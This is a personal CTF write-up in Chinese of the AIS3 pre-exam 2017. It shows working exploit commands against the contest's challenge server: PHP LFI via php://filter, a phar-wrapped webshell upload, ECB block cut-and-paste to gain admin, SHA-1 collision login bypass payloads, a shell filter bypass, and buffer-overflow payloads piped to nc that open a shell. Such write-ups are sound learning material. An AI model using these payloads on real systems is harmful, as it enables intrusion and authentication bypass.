AIS3 pre-exam 2017 writeup

前言

因為平常沒在打CTF,也很久沒認真碰這塊,所以最後只有31分 QAQ
然後這是我第一次參加AIS3,高手感覺好多,怕

UPDATE: 最後正取惹,我朋友8x、9x名也正取惹,所以要上應該算容易的(?

Web 1

這題直接

1
curl https://quiz.ais3.org:42351/

就看得到Flag了

Web 2

這題基本上就是php弱比較漏洞

1
0e959146861158620914280512624073

這組密碼在弱比較時會被當成數字0 (科學記號)

所以只要我們輸入的password經過md5 encode後也是[0e數字]形式就可繞過
例如:240610708

Web 3

這題的p參數有LFI漏洞
像?p=index 會去include index.php
可以利用php://filter 去看index.php的源碼
像這樣

1
https://quiz.ais3.org:23545/?p=php://filter/read=convert.base64-encode/resource=index

不過得到的源碼是Base64 encode過的,需要再去decode才看得到藏在源碼裡的flag

Web 4

延續上題,我們看源碼可以發現有地方可以上傳jpg檔
這題用到的就是phar wrapper
把我們的webshell或其他php檔(例如myshell.php)包成zip(shell.zip)
然後把這個zip副檔名改成jpg傳上去(shell.jpg)
之後用?p=phar://圖片位址/shell.jpg/myshell
就會解析並include我們的webshell來執行惹
然後可以發現網站根目錄下有個超長的檔名:

1
the_flag2_which_the_filename_you_can_not_guess_without_getting_the_shellllllll1l

裡面放的就是Flag惹

Crypto 1

題目的七行註解為flag分成七段各別加密後的值
加密方式為ptr[0~6] xor var1 xor var2 xor var3
又知道ptr[0] = "ais3"
所以ptr[i] = 密文[i] xor 密文[0] xor "ais3",i=1~6
然後喇一下,flag就出來惹

Crypto 2

這題是ECB mode加密上的攻擊
(雖然很久以前就知道這個惹,不過這是我第一次實作這個攻擊)
因為每個block各自加密,key也沒換
所以造成這種攻擊有辦法成功
題目有說block size為16
如果用|當作block之間的分隔,那正常輸入大概會像這樣:

1
user=aaaa...|...&role=student|&password=bbb...

構造輸入的user和password使得 …&role=| 在block最後面
然後再構造一組…|admin&…
最後把順序換一下(剪下貼上)
變成

1
name=aaaaaaaaaaa|&password=bbbbbb|aaaaaaaaaa&role=|admin&role=stude|padding

這樣子我們輸入name=aaaaaaaaaaa和password=bbbbbbaaaaaaaaaa
就能登入並且被當作是admin惹

Crypto 3

因為這題有把user跟password強制轉型成string
所以不能用塞陣列給他的老方法繞過驗證
就直接去找兩個會sha1 collision的字串給他就行
這邊找到之前google釋出的兩個不同卻有相同sha1值的pdf檔前320 bytes

1
curl -X POST -d "username=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&password=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1" 'https://quiz.ais3.org:32670/index.php'

就可以看到Flag惹

Crypto 4

延續上一題,既然我們有sha1相同的兩個字串
那同時再後面加上一樣的字串,sha1也依舊會相同
我們把題目要求的兩個字串加上去後
再寫個程式暴力塞padding,直到滿足開頭是f00d

1
curl -X POST -d "username=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1Snoopy_do_not_like_cats_hahahahaddaa_is_PHD134405109311&password=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1Snoopy_do_not_like_cats_hahahahaddaa_is_PHD134405109311" 'https://quiz.ais3.org:32670/index.php'

crypto4

Misc 1

題目直接給Flag

Misc 2

Response header藏著:HereItIs:Uzc0RzMyLnBocA==
Base64 decode一下:S74G32.php
訪問一下可以看到一張皮卡丘的png圖片
題目說皮卡丘喜翻黃色
把背景改成黃色就看得到Flag惹

Misc 4

/flagpath…等等字串、環境變數會被過濾
可以利用在””中$()的指令會被執行的這個特性
巧妙構造

1
./shell "cd ..; cd ..; \$(pwd)bin\$(pwd)cat \$(pwd)home\$(pwd)misc4\$(pwd)*"

這樣就可以繞過限制讀取Flag

Rev 1

丟進ida pro看,可以看出Flag應該就是對裡頭一串數字字串做運算後的結果
直接照著跑跑看,印出來就可
rev1

Rev 2

這題的encrypted應該是加密過的flag
加密的方式是srand(time(0))之後取幾個rand()做XOR
然後有說這隻程式build的時候好像是2017/06/26還2017/06/27
time(0)會回傳unix epoch time
所以理論上從那個時間點往後開始暴力踹srand()的seed
然後取rand()就能回推找到flag
不過我最後是沒成功啦,不知道是哪裡想錯還是code寫爛惹=.=

Pwn 1

丟ida pro看,發現餵給他啥東西
他就會跳過去執行
然後可以發現有個函數叫youcantseeme
內容是執行一個shell
所以我們直接跳過去那邊就行惹

1
(perl -e 'print "\x10\x86\x04\x08\n"';cat) | nc quiz.ais3.org 9561

Pwn 2

直接看程式碼
發現就是題很水的buffer overflow
可以直接把password蓋成0

1
(perl -e 'print "\x01"x20, "\x00"x4, "\n", "0\n", "1\n"';cat) | nc quiz.ais3.org 56746

其他題目,我太廢惹,解不出來,嗚